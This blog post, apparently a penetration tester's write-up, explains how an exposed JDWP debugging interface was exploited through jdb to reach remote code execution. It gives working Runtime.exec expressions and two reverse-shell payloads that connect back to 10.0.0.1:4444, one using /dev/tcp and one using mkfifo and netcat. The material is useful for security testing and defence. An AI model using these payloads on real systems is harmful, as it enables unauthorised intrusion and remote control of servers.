During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?
Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:
print new java.lang.Runtime().exec("ls") new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"
Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.
If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax is also undocumented.
After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:
print new java.lang.String(new java.io.BufferedReader( \ new java.io.InputStreamReader( \ new java.lang.Runtime().exec("id").getInputStream())).readLine()) new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"
Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\””) don’t work as expected.
One possible solution to come over these limitations is to write out a shell script and then invoke it:
print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")
Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…
The more elegant solution is to use Runtime.exec(String) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke the split() method on a freshly instantiated String object:
print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f").split("S2"))
So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)
If you know other useful tricks for JDB, don’t hesitate to share it in the comments!